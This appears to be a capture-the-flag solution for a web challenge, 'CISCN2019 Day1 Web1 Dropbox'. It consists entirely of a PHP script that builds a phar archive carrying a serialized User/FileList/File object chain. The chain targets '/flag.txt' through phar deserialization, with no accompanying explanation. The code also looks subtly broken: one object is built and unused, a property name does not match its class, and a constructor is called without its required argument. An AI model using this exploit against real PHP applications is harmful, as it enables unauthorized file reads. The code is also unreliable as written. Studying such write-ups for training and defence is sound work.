CISCN2019 华北赛区 Day1 Web1 Dropbox
<!--phar-->
<?php
class User {
public $db;
}
class File{
public $filename;
}
class FileList{
private $files;
public function __construct($path)
{
$file = new File();
$file->filename = '/flag.txt';
$this->files = array($file);
}
}
$a = new User();
$a->db = new FileList();
@unlink("phar.phar");
$phar = new Phar("phar.phar");
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER(); ?>");
$o = new User();
$o -> data= new FileList();
$phar->setMetadata($o);
$phar->addFromString("test.txt", "test");
$phar->stopBuffering();
?>